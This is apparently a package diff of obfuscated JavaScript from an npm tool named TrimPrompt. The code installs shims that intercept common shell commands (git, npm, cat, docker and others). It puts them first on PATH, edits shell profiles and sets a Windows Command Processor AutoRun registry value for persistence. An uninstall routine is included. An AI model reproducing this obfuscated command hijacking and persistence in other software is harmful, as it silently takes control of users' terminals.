_0x583536=path[_0x3de8a8(0x22b)](_0x2c0a39,_0x5e2acf);fs['existsSync'](_0x583536)&&(ensureProfileContains(_0x583536,_0x342adb,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x467ceb),_0x6cd33a=!![]);}if(!_0x6cd33a){const _0x308e57=path[_0x3de8a8(0x22b)](_0x2c0a39,_0x3de8a8(0x206));ensureProfileContains(_0x308e57,_0x342adb,_0x3de8a8(0x22c)+PROFILE_MARKER+'\x0a'+_0x467ceb);}_0x4d0f4c=!![];}catch(_0x1a7704){_0x203bf1=_0x3de8a8(0x21d)+_0x342adb+_0x3de8a8(0x215);}const _0x2c1c03=_0x3de8a8(0x239)+SHIMMED_COMMANDS[_0x3de8a8(0x212)]+_0x3de8a8(0x256),_0x34152b=_0x4d0f4c?_0x2c1c03+_0x3de8a8(0x24e):_0x2c1c03+_0x3de8a8(0x201)+_0x203bf1;return{'success':!![],'pathDir':_0x342adb,'message':_0x34152b};}catch(_0x1ac53b){return{'success':![],'pathDir':_0x342adb,'message':_0x3de8a8(0x248)+_0x1ac53b[_0x3de8a8(0x268)]};}}function uninstallShims(){const _0x54c3f3=a0_0x270dd9,_0x396098=path['join'](os[_0x54c3f3(0x1ed)](),_0x54c3f3(0x243),_0x54c3f3(0x25d)),_0x41b48d=os[_0x54c3f3(0x216)]()===_0x54c3f3(0x260);try{if(_0x41b48d){const _0x3709c1=getExecSync();try{const _0x32e4d7=getExecFileSync(),_0x4604b2='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x2b69e0=_0x54c3f3(0x265)+_0x4604b2+_0x54c3f3(0x219),_0x3c9016=_0x32e4d7(_0x54c3f3(0x238),[_0x54c3f3(0x23d),_0x54c3f3(0x214),_0x2b69e0],{'encoding':'utf8','stdio':[_0x54c3f3(0x21a),_0x54c3f3(0x21a),_0x54c3f3(0x236)]})[_0x54c3f3(0x24c)]();if(_0x3c9016[_0x54c3f3(0x251)](_0x396098)){const _0x1351eb=_0x3c9016[_0x54c3f3(0x258)](_0x54c3f3(0x1fc))['filter'](_0x2ddfb0=>!_0x2ddfb0[_0x54c3f3(0x251)](_0x396098));if(_0x1351eb['length']===0x0){const _0x1cf4f8='Remove-ItemProperty\x20-Path\x20\x27'+_0x4604b2+_0x54c3f3(0x1f1);_0x32e4d7(_0x54c3f3(0x238),[_0x54c3f3(0x23d),_0x54c3f3(0x214),_0x1cf4f8],{'stdio':_0x54c3f3(0x236)});}else{const _0x50d39e=_0x1351eb['join'](_0x54c3f3(0x1fc)),_0x518900='Set-ItemProperty\x20-Path\x20\x27'+_0x4604b2+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x50d39e+'\x27';_0x32e4d7('powershell.exe',[_0x54c3f3(0x23d),_0x54c3f3(0x214),_0x518900],{'stdio':'ignore'});}}}catch{}try{const _0x520b3c=collectPowerShellProfiles();for(const _0x3ce9c8 of _0x520b3c){removeProfileBlock(_0x3ce9c8,PROFILE_MARKER);}}catch{}try{for(const _0x59c14a of getBashProfilesWindows()){removeProfileBlock(_0x59c14a,PROFILE_MARKER);}}catch{}try{const _0xae0904=_0x54c3f3(0x261),_0x2b0725=_0x3709c1(_0x54c3f3(0x211)+_0xae0904+'\x22',{'encoding':_0x54c3f3(0x1f2),'stdio':['pipe','pipe',_0x54c3f3(0x236)]})['trim']();if(_0x2b0725[_0x54c3f3(0x251)](_0x396098)){const _0x3b7b58=_0x2b0725[_0x54c3f3(0x258)](';')[_0x54c3f3(0x23a)](_0x3d57e3=>_0x3d57e3[_0x54c3f3(0x24c)]()['toLowerCase']()!==_0x396098[_0x54c3f3(0x220)]())[_0x54c3f3(0x22b)](';'),_0x5c97df=_0x3b7b58[_0x54c3f3(0x266)](/'/g,'\x27\x27'),_0x20d312='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x5c97df+'\x27,\x20\x27User\x27)';_0x3709c1(_0x54c3f3(0x211)+_0x20d312+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x54c3f3(0x236)});}}catch{}}else{const _0x33dd55=os['homedir'](),_0x44ac75=[_0x54c3f3(0x206),'.zshrc',_0x54c3f3(0x210),_0x54c3f3(0x1f3)];for(const _0x59484c of _0x44ac75){removeProfileBlock(path['join'](_0x33dd55,_0x59484c),PROFILE_MARKER);}}if(fs[_0x54c3f3(0x22e)](_0x396098)){const _0x31df22=fs[_0x54c3f3(0x1f8)](_0x396098);for(const _0x5dbf5b of _0x31df22){fs[_0x54c3f3(0x203)](path[_0x54c3f3(0x22b)](_0x396098,_0x5dbf5b));}fs[_0x54c3f3(0x25e)](_0x396098);}return{'success':!![],'message':_0x54c3f3(0x25c)};}catch(_0x285e04){return{'success':![],'message':_0x54c3f3(0x257)+_0x285e04['message']};}}
|
|
1
|
+
'use strict';const a0_0x3da6f7=a0_0x25cb;(function(_0xf5f27e,_0x212c41){const _0x2efbfc=a0_0x25cb,_0x1f8dfd=_0xf5f27e();while(!![]){try{const _0x1367fb=-parseInt(_0x2efbfc(0x15b))/0x1*(parseInt(_0x2efbfc(0x198))/0x2)+-parseInt(_0x2efbfc(0x18c))/0x3*(-parseInt(_0x2efbfc(0x1a5))/0x4)+-parseInt(_0x2efbfc(0x150))/0x5+parseInt(_0x2efbfc(0x1ac))/0x6+-parseInt(_0x2efbfc(0x16a))/0x7+parseInt(_0x2efbfc(0x153))/0x8+parseInt(_0x2efbfc(0x17e))/0x9;if(_0x1367fb===_0x212c41)break;else _0x1f8dfd['push'](_0x1f8dfd['shift']());}catch(_0xa16f74){_0x1f8dfd['push'](_0x1f8dfd['shift']());}}}(a0_0xa41f,0xb9f6e));var __createBinding=this&&this[a0_0x3da6f7(0x164)]||(Object[a0_0x3da6f7(0x1aa)]?function(_0x219efe,_0x203d28,_0x2d0125,_0x3b4449){const _0x472f9e=a0_0x3da6f7;if(_0x3b4449===undefined)_0x3b4449=_0x2d0125;var _0x244bac=Object[_0x472f9e(0x14e)](_0x203d28,_0x2d0125);(!_0x244bac||(_0x472f9e(0x199)in _0x244bac?!_0x203d28[_0x472f9e(0x1b3)]:_0x244bac[_0x472f9e(0x13c)]||_0x244bac[_0x472f9e(0x14d)]))&&(_0x244bac={'enumerable':!![],'get':function(){return _0x203d28[_0x2d0125];}}),Object[_0x472f9e(0x1a9)](_0x219efe,_0x3b4449,_0x244bac);}:function(_0x630bca,_0x3d9940,_0x27f7fa,_0x18dac6){if(_0x18dac6===undefined)_0x18dac6=_0x27f7fa;_0x630bca[_0x18dac6]=_0x3d9940[_0x27f7fa];}),__setModuleDefault=this&&this[a0_0x3da6f7(0x16b)]||(Object[a0_0x3da6f7(0x1aa)]?function(_0x3c2b14,_0x473d3a){const _0x1b06fd=a0_0x3da6f7;Object[_0x1b06fd(0x1a9)](_0x3c2b14,_0x1b06fd(0x19e),{'enumerable':!![],'value':_0x473d3a});}:function(_0x34023f,_0xdbf850){const _0x4c773f=a0_0x3da6f7;_0x34023f[_0x4c773f(0x19e)]=_0xdbf850;}),__importStar=this&&this['__importStar']||(function(){var _0x387677=function(_0x146522){const _0x37b294=a0_0x25cb;return _0x387677=Object[_0x37b294(0x161)]||function(_0x1f7570){const _0x46e912=_0x37b294;var _0x3aaa4b=[];for(var _0x488f46 in _0x1f7570)if(Object[_0x46e912(0x154)]['hasOwnProperty'][_0x46e912(0x183)](_0x1f7570,_0x488f46))_0x3aaa4b[_0x3aaa4b[_0x46e912(0x166)]]=_0x488f46;return _0x3aaa4b;},_0x387677(_0x146522);};return function(_0x2073ee){const _0x469fa0=a0_0x25cb;if(_0x2073ee&&_0x2073ee[_0x469fa0(0x1b3)])return _0x2073ee;var _0x2d825e={};if(_0x2073ee!=null){for(var _0x56643d=_0x387677(_0x2073ee),_0x4c4439=0x0;_0x4c4439<_0x56643d['length'];_0x4c4439++)if(_0x56643d[_0x4c4439]!==_0x469fa0(0x19e))__createBinding(_0x2d825e,_0x2073ee,_0x56643d[_0x4c4439]);}return __setModuleDefault(_0x2d825e,_0x2073ee),_0x2d825e;};}());Object[a0_0x3da6f7(0x1a9)](exports,a0_0x3da6f7(0x1b3),{'value':!![]}),exports[a0_0x3da6f7(0x140)]=installShims,exports[a0_0x3da6f7(0x193)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3da6f7(0x146))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree','cat',a0_0x3da6f7(0x1ab),a0_0x3da6f7(0x15a),'rg',a0_0x3da6f7(0x17d),a0_0x3da6f7(0x18d),'gh',a0_0x3da6f7(0x1a3),a0_0x3da6f7(0x184),'npm',a0_0x3da6f7(0x160),'npx',a0_0x3da6f7(0x1a6),a0_0x3da6f7(0x162),a0_0x3da6f7(0x1a4),a0_0x3da6f7(0x187),'pip',a0_0x3da6f7(0x177),'go'],PROFILE_MARKER=a0_0x3da6f7(0x1b1);function getExecSync(){const _0x470a70=a0_0x3da6f7;return require(_0x470a70(0x194))['execSync'];}function getExecFileSync(){const _0x415d2c=a0_0x3da6f7;return require(_0x415d2c(0x194))[_0x415d2c(0x14f)];}function ensureProfileContains(_0xf493fa,_0x3cd068,_0x4dde83){const _0x482b19=a0_0x3da6f7;try{const _0x211579=path[_0x482b19(0x157)](_0xf493fa);!fs['existsSync'](_0x211579)&&fs[_0x482b19(0x171)](_0x211579,{'recursive':!![]});if(fs['existsSync'](_0xf493fa)){const _0x48ee09=fs['readFileSync'](_0xf493fa,_0x482b19(0x1b2));if(_0x48ee09[_0x482b19(0x19f)](_0x3cd068))return;fs[_0x482b19(0x1af)](_0xf493fa,_0x4dde83,'utf8');}else fs[_0x482b19(0x156)](_0xf493fa,_0x4dde83,_0x482b19(0x1b2));}catch{}}function removeProfileBlock(_0x30c4c1,_0x29ce80){const _0x454ea9=a0_0x3da6f7;try{if(!fs[_0x454ea9(0x1a0)](_0x30c4c1))return;const _0x523dd7=fs['readFileSync'](_0x30c4c1,_0x454ea9(0x1b2));if(!_0x523dd7[_0x454ea9(0x19f)](_0x29ce80))return;const _0x47b369=_0x523dd7[_0x454ea9(0x196)]('\x0a'),_0x4f4b34=[];let _0x451010=![];for(let _0x4c5219=0x0;_0x4c5219<_0x47b369[_0x454ea9(0x166)];_0x4c5219++){if(_0x47b369[_0x4c5219]['includes'](_0x29ce80)){_0x451010=!![];continue;}if(_0x451010){_0x451010=![];continue;}_0x4f4b34[_0x454ea9(0x18b)](_0x47b369[_0x4c5219]);}const _0x354324=_0x4f4b34[_0x454ea9(0x16c)]('\x0a')[_0x454ea9(0x13d)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x30c4c1,_0x354324,_0x454ea9(0x1b2));}catch{}}function a0_0xa41f(){const _0x76277d=['powershell\x20-NoProfile\x20-Command\x20\x22','\x20\x20trim\x20','506424uxpydo','prototype','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','writeFileSync','dirname','trim.cmd','\x20\x22$@\x22;\x20fi\x0a','grep','3vMImpo','homedir','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','$PROFILE.CurrentUserAllHosts','npm','pnpm','getOwnPropertyNames','kubectl','-Command','__createBinding','win32','length','if\x20exist\x20\x22','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','export\x20PATH=\x22','9215906jVDTDM','__setModuleDefault','join','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','\x20commands.\x0a\x0a','chmodSync','-NoProfile','mkdirSync','some','filter',';\x22\x20+\x20$env:PATH\x0a','\x0a#\x20','platform','pip3','shims','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','\x20%*','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','.bashrc','ruff','11272842JFbGfQ','.cmd','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27',':$PATH\x22','$PROFILE.CurrentUserCurrentHost','call','cargo','.profile','trim','pytest','755','.bash_profile','pwsh','push','3cgRmUg','git',';=%\x22','@echo\x20off','\x20&\x20','\x27,\x20\x27User\x27)','.zshrc','uninstallShims','child_process','toLowerCase','split','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','299678cpMvff','get','map','trim.ps1','rmdirSync','\x0aexport\x20PATH=\x22','default','includes','existsSync','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','glab','docker','3671752pNhBfb','yarn','readdirSync','Remove-ItemProperty\x20-Path\x20\x27','defineProperty','create','read','9086346FqxcsD','Failed\x20to\x20install\x20shims:\x20','ignore','appendFileSync','pipe','TrimPrompt\x20Shims\x20PATH','utf8','__esModule','\x20@args\x20}\x0a','powershell.exe','Set-ItemProperty\x20-Path\x20\x27','writable','replace','message','\x20@args\x20}\x20else\x20{\x20&\x20','installShims','unlinkSync','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.',':$PATH\x22\x0a','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','path','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','powershell','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','.ps1','\x22\x20set\x20\x22PATH=','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','configurable','getOwnPropertyDescriptor','execFileSync','6101925OZXlSP'];a0_0xa41f=function(){return _0x76277d;};return a0_0xa41f();}function collectPowerShellProfiles(){const _0x35965e=a0_0x3da6f7,_0x217064=getExecSync(),_0x48de38=[],_0x391643=[[_0x35965e(0x148),_0x35965e(0x182)],[_0x35965e(0x148),_0x35965e(0x15e)]];try{_0x217064(_0x35965e(0x145),{'stdio':_0x35965e(0x1ae)}),_0x391643['push']([_0x35965e(0x18a),_0x35965e(0x15e)]);}catch{}for(const [_0x229a52,_0x15f7e5]of _0x391643){try{const _0x105d14=_0x217064(_0x229a52+'\x20-NoProfile\x20-Command\x20\x22'+_0x15f7e5+'\x22',{'encoding':_0x35965e(0x1b2)})[_0x35965e(0x186)]();_0x105d14&&!_0x48de38[_0x35965e(0x172)](_0x5cf2c7=>_0x5cf2c7['toLowerCase']()===_0x105d14['toLowerCase']())&&_0x48de38['push'](_0x105d14);}catch{}}return _0x48de38;}function getBashProfilesWindows(){const _0x3ef90b=a0_0x3da6f7,_0x42476f=os[_0x3ef90b(0x15c)]();return[_0x3ef90b(0x17c),_0x3ef90b(0x189)][_0x3ef90b(0x19a)](_0x4cce8d=>path['join'](_0x42476f,_0x4cce8d));}function getBroadcastCommand(){const _0x55bb77=a0_0x3da6f7;return _0x55bb77(0x142);}function a0_0x25cb(_0x34fd73,_0x505c1a){_0x34fd73=_0x34fd73-0x139;const _0xa41fc=a0_0xa41f();let _0x25cba5=_0xa41fc[_0x34fd73];return _0x25cba5;}function installShims(){const _0x29184d=a0_0x3da6f7,_0x21e9d9=path['join'](os[_0x29184d(0x15c)](),'.trimprompt',_0x29184d(0x178));try{!fs[_0x29184d(0x1a0)](_0x21e9d9)&&fs[_0x29184d(0x171)](_0x21e9d9,{'recursive':!![]});const _0x1b617a=os[_0x29184d(0x176)]()===_0x29184d(0x165);for(const _0x162c39 of SHIMMED_COMMANDS){if(_0x1b617a){const _0x23b1ff=path[_0x29184d(0x16c)](_0x21e9d9,_0x162c39+_0x29184d(0x17f)),_0x88f046=process.env.APPDATA?path[_0x29184d(0x16c)](process.env.APPDATA,_0x29184d(0x15f)):'',_0x55fdca=_0x88f046?_0x29184d(0x167)+path[_0x29184d(0x16c)](_0x88f046,_0x29184d(0x158))+'\x22':_0x29184d(0x16d),_0x13e606=[_0x29184d(0x18f),_0x55fdca+'\x20(',_0x29184d(0x152)+_0x162c39+_0x29184d(0x17a),')\x20else\x20(','\x20\x20set\x20\x22PATH=%PATH:'+_0x21e9d9+_0x29184d(0x18e),'\x20\x20'+_0x162c39+_0x29184d(0x17a),')'][_0x29184d(0x16c)]('\x0d\x0a')+'\x0d\x0a';fs[_0x29184d(0x156)](_0x23b1ff,_0x13e606,'utf8');const _0x52923f=path['join'](_0x21e9d9,_0x162c39+_0x29184d(0x14a)),_0x32967d='if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0x162c39+_0x29184d(0x13f)+_0x162c39+_0x29184d(0x139);fs[_0x29184d(0x156)](_0x52923f,_0x32967d,_0x29184d(0x1b2));const _0x492012=path[_0x29184d(0x16c)](_0x21e9d9,_0x162c39),_0xb49ad3=_0x21e9d9['replace'](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0xd2afff,_0x5e0377)=>'/'+_0x5e0377[_0x29184d(0x195)]()),_0x598d02=_0x29184d(0x155)+_0x162c39+_0x29184d(0x1a1)+_0xb49ad3+_0x29184d(0x1a2)+_0x162c39+_0x29184d(0x159);fs[_0x29184d(0x156)](_0x492012,_0x598d02,'utf8');}else{const _0x5d8a01=path[_0x29184d(0x16c)](_0x21e9d9,_0x162c39),_0x340a88=_0x29184d(0x155)+_0x162c39+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x162c39+_0x29184d(0x159);fs[_0x29184d(0x156)](_0x5d8a01,_0x340a88,'utf8'),fs[_0x29184d(0x16f)](_0x5d8a01,_0x29184d(0x188));}}let _0x31d32d=![],_0x1b26e0='';if(_0x1b617a)try{const _0x14d1dd=getExecSync(),_0x54efbd='\x0a#\x20'+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x21e9d9+_0x29184d(0x174),_0x251d2c=collectPowerShellProfiles();for(const _0x39a5ce of _0x251d2c){ensureProfileContains(_0x39a5ce,_0x21e9d9,_0x54efbd);}try{const _0x28316e=getExecFileSync(),_0x17264a=_0x29184d(0x167)+_0x21e9d9+_0x29184d(0x14b)+_0x21e9d9+';%PATH%\x22',_0x55ad49=_0x29184d(0x147);let _0x37295b='';try{const _0x219fca=_0x29184d(0x149)+_0x55ad49+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}';_0x37295b=_0x28316e('powershell.exe',['-NoProfile',_0x29184d(0x163),_0x219fca],{'encoding':_0x29184d(0x1b2),'stdio':[_0x29184d(0x1b0),'pipe',_0x29184d(0x1ae)]})[_0x29184d(0x186)]();}catch{}if(!_0x37295b[_0x29184d(0x19f)](_0x21e9d9)){const _0x5f45db=_0x37295b?_0x37295b+_0x29184d(0x190)+_0x17264a:_0x17264a,_0x5967fb='New-Item\x20-Path\x20\x27'+_0x55ad49+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+_0x55ad49+_0x29184d(0x180)+_0x5f45db+'\x27';_0x28316e(_0x29184d(0x13a),['-NoProfile','-Command',_0x5967fb],{'stdio':_0x29184d(0x1ae)});}}catch{}try{const _0x1007f8=_0x21e9d9[_0x29184d(0x13d)](/\\/g,'/')[_0x29184d(0x13d)](/^([A-Za-z]):/,(_0x590f31,_0x5a117c)=>'/'+_0x5a117c[_0x29184d(0x195)]()),_0x4ba508=_0x29184d(0x175)+PROFILE_MARKER+_0x29184d(0x19d)+_0x1007f8+_0x29184d(0x144),_0x17536b=getBashProfilesWindows();let _0xa4430=![];for(const _0x18b2f1 of _0x17536b){fs[_0x29184d(0x1a0)](_0x18b2f1)&&(ensureProfileContains(_0x18b2f1,_0x1007f8,_0x4ba508),_0xa4430=!![]);}!_0xa4430&&ensureProfileContains(_0x17536b[0x0],_0x1007f8,_0x4ba508);}catch{}const _0x19db7e='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x2e3ccf=_0x14d1dd('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x19db7e+'\x22',{'encoding':_0x29184d(0x1b2),'stdio':[_0x29184d(0x1b0),'pipe',_0x29184d(0x1ae)]})[_0x29184d(0x186)]();if(!_0x2e3ccf['includes'](_0x21e9d9)){const _0x3b1343=_0x21e9d9+';'+_0x2e3ccf,_0x2b00a3=_0x3b1343['replace'](/'/g,'\x27\x27'),_0x4e68fd='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x2b00a3+'\x27,\x20\x27User\x27)';_0x14d1dd(_0x29184d(0x151)+_0x4e68fd+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x29184d(0x1ae)});}const _0xd5f4a0=path[_0x29184d(0x16c)](process.env.APPDATA||'','npm',_0x29184d(0x19b));if(fs['existsSync'](_0xd5f4a0))try{fs[_0x29184d(0x141)](_0xd5f4a0);}catch{}_0x31d32d=!![];}catch(_0x4b0c7e){_0x1b26e0='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x21e9d9;}else try{const _0x582c90=_0x29184d(0x169)+_0x21e9d9+_0x29184d(0x144),_0x354259=os[_0x29184d(0x15c)](),_0x25d02a=[_0x29184d(0x17c),_0x29184d(0x192),_0x29184d(0x189),'.profile'];let _0x3c03d9=![];for(const _0x73e017 of _0x25d02a){const _0x5e2dc1=path['join'](_0x354259,_0x73e017);fs['existsSync'](_0x5e2dc1)&&(ensureProfileContains(_0x5e2dc1,_0x21e9d9,_0x29184d(0x175)+PROFILE_MARKER+'\x0a'+_0x582c90),_0x3c03d9=!![]);}if(!_0x3c03d9){const _0x4458bd=path[_0x29184d(0x16c)](_0x354259,_0x29184d(0x17c));ensureProfileContains(_0x4458bd,_0x21e9d9,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x582c90);}_0x31d32d=!![];}catch(_0x55a2b1){_0x1b26e0='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x21e9d9+_0x29184d(0x181);}const _0x792fb6='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0x29184d(0x166)]+_0x29184d(0x16e),_0xd7cecc=_0x31d32d?_0x792fb6+_0x29184d(0x143):_0x792fb6+_0x29184d(0x179)+_0x1b26e0;return{'success':!![],'pathDir':_0x21e9d9,'message':_0xd7cecc};}catch(_0x457519){return{'success':![],'pathDir':_0x21e9d9,'message':_0x29184d(0x1ad)+_0x457519['message']};}}function uninstallShims(){const _0x30280e=a0_0x3da6f7,_0x38dc5d=path['join'](os[_0x30280e(0x15c)](),'.trimprompt',_0x30280e(0x178)),_0x33f9c7=os[_0x30280e(0x176)]()===_0x30280e(0x165);try{if(_0x33f9c7){const _0x2fa293=getExecSync();try{const _0x17e120=getExecFileSync(),_0xb3d624=_0x30280e(0x147),_0x3eede7=_0x30280e(0x149)+_0xb3d624+_0x30280e(0x197),_0x3f5dfd=_0x17e120(_0x30280e(0x13a),['-NoProfile',_0x30280e(0x163),_0x3eede7],{'encoding':_0x30280e(0x1b2),'stdio':[_0x30280e(0x1b0),_0x30280e(0x1b0),'ignore']})[_0x30280e(0x186)]();if(_0x3f5dfd[_0x30280e(0x19f)](_0x38dc5d)){const _0x5d1ee0=_0x3f5dfd[_0x30280e(0x196)]('\x20&\x20')[_0x30280e(0x173)](_0x2e51cb=>!_0x2e51cb[_0x30280e(0x19f)](_0x38dc5d));if(_0x5d1ee0[_0x30280e(0x166)]===0x0){const _0x189bfb=_0x30280e(0x1a8)+_0xb3d624+_0x30280e(0x17b);_0x17e120('powershell.exe',[_0x30280e(0x170),_0x30280e(0x163),_0x189bfb],{'stdio':_0x30280e(0x1ae)});}else{const _0x61617b=_0x5d1ee0[_0x30280e(0x16c)](_0x30280e(0x190)),_0x292fcb=_0x30280e(0x13b)+_0xb3d624+_0x30280e(0x180)+_0x61617b+'\x27';_0x17e120(_0x30280e(0x13a),[_0x30280e(0x170),_0x30280e(0x163),_0x292fcb],{'stdio':_0x30280e(0x1ae)});}}}catch{}try{const _0x103c0e=collectPowerShellProfiles();for(const _0x113077 of _0x103c0e){removeProfileBlock(_0x113077,PROFILE_MARKER);}}catch{}try{for(const _0x3c994c of getBashProfilesWindows()){removeProfileBlock(_0x3c994c,PROFILE_MARKER);}}catch{}try{const _0x12e6d4=_0x30280e(0x168),_0x16a8e5=_0x2fa293(_0x30280e(0x151)+_0x12e6d4+'\x22',{'encoding':_0x30280e(0x1b2),'stdio':[_0x30280e(0x1b0),_0x30280e(0x1b0),_0x30280e(0x1ae)]})[_0x30280e(0x186)]();if(_0x16a8e5['includes'](_0x38dc5d)){const _0x40376c=_0x16a8e5[_0x30280e(0x196)](';')[_0x30280e(0x173)](_0x58ee28=>_0x58ee28[_0x30280e(0x186)]()[_0x30280e(0x195)]()!==_0x38dc5d[_0x30280e(0x195)]())['join'](';'),_0x2dfa15=_0x40376c['replace'](/'/g,'\x27\x27'),_0x29e562=_0x30280e(0x15d)+_0x2dfa15+_0x30280e(0x191);_0x2fa293('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x29e562+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x30280e(0x1ae)});}}catch{}}else{const _0xc9cebc=os['homedir'](),_0x175b0f=[_0x30280e(0x17c),'.zshrc',_0x30280e(0x189),_0x30280e(0x185)];for(const _0x2c5466 of _0x175b0f){removeProfileBlock(path['join'](_0xc9cebc,_0x2c5466),PROFILE_MARKER);}}if(fs[_0x30280e(0x1a0)](_0x38dc5d)){const _0x4e550c=fs[_0x30280e(0x1a7)](_0x38dc5d);for(const _0x53deac of _0x4e550c){fs[_0x30280e(0x141)](path['join'](_0x38dc5d,_0x53deac));}fs[_0x30280e(0x19c)](_0x38dc5d);}return{'success':!![],'message':_0x30280e(0x14c)};}catch(_0x5206a9){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0x5206a9[_0x30280e(0x13e)]};}}
|
package/simulate.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x4a720e=a0_0x17ed;(function(_0x15aef8,_0x1217f9){const _0x592357=a0_0x17ed,_0x445e66=_0x15aef8();while(!![]){try{const _0x3d8d55=-parseInt(_0x592357(0x92))/0x1+-parseInt(_0x592357(0x85))/0x2+-parseInt(_0x592357(0xa6))/0x3+-parseInt(_0x592357(0xb5))/0x4*(-parseInt(_0x592357(0x86))/0x5)+parseInt(_0x592357(0x9c))/0x6+-parseInt(_0x592357(0x9f))/0x7+-parseInt(_0x592357(0x88))/0x8*(-parseInt(_0x592357(0xaa))/0x9);if(_0x3d8d55===_0x1217f9)break;else _0x445e66['push'](_0x445e66['shift']());}catch(_0x36c08b){_0x445e66['push'](_0x445e66['shift']());}}}(a0_0x1312,0xc0e8e));Object[a0_0x4a720e(0xbe)](exports,a0_0x4a720e(0x90),{'value':!![]});const tracker_1=require('./tracker');console[a0_0x4a720e(0x8f)](a0_0x4a720e(0xb8));function a0_0x17ed(_0xc53fe7,_0x97efc1){_0xc53fe7=_0xc53fe7-0x80;const _0x131203=a0_0x1312();let _0x17edc0=_0x131203[_0xc53fe7];return _0x17edc0;}const 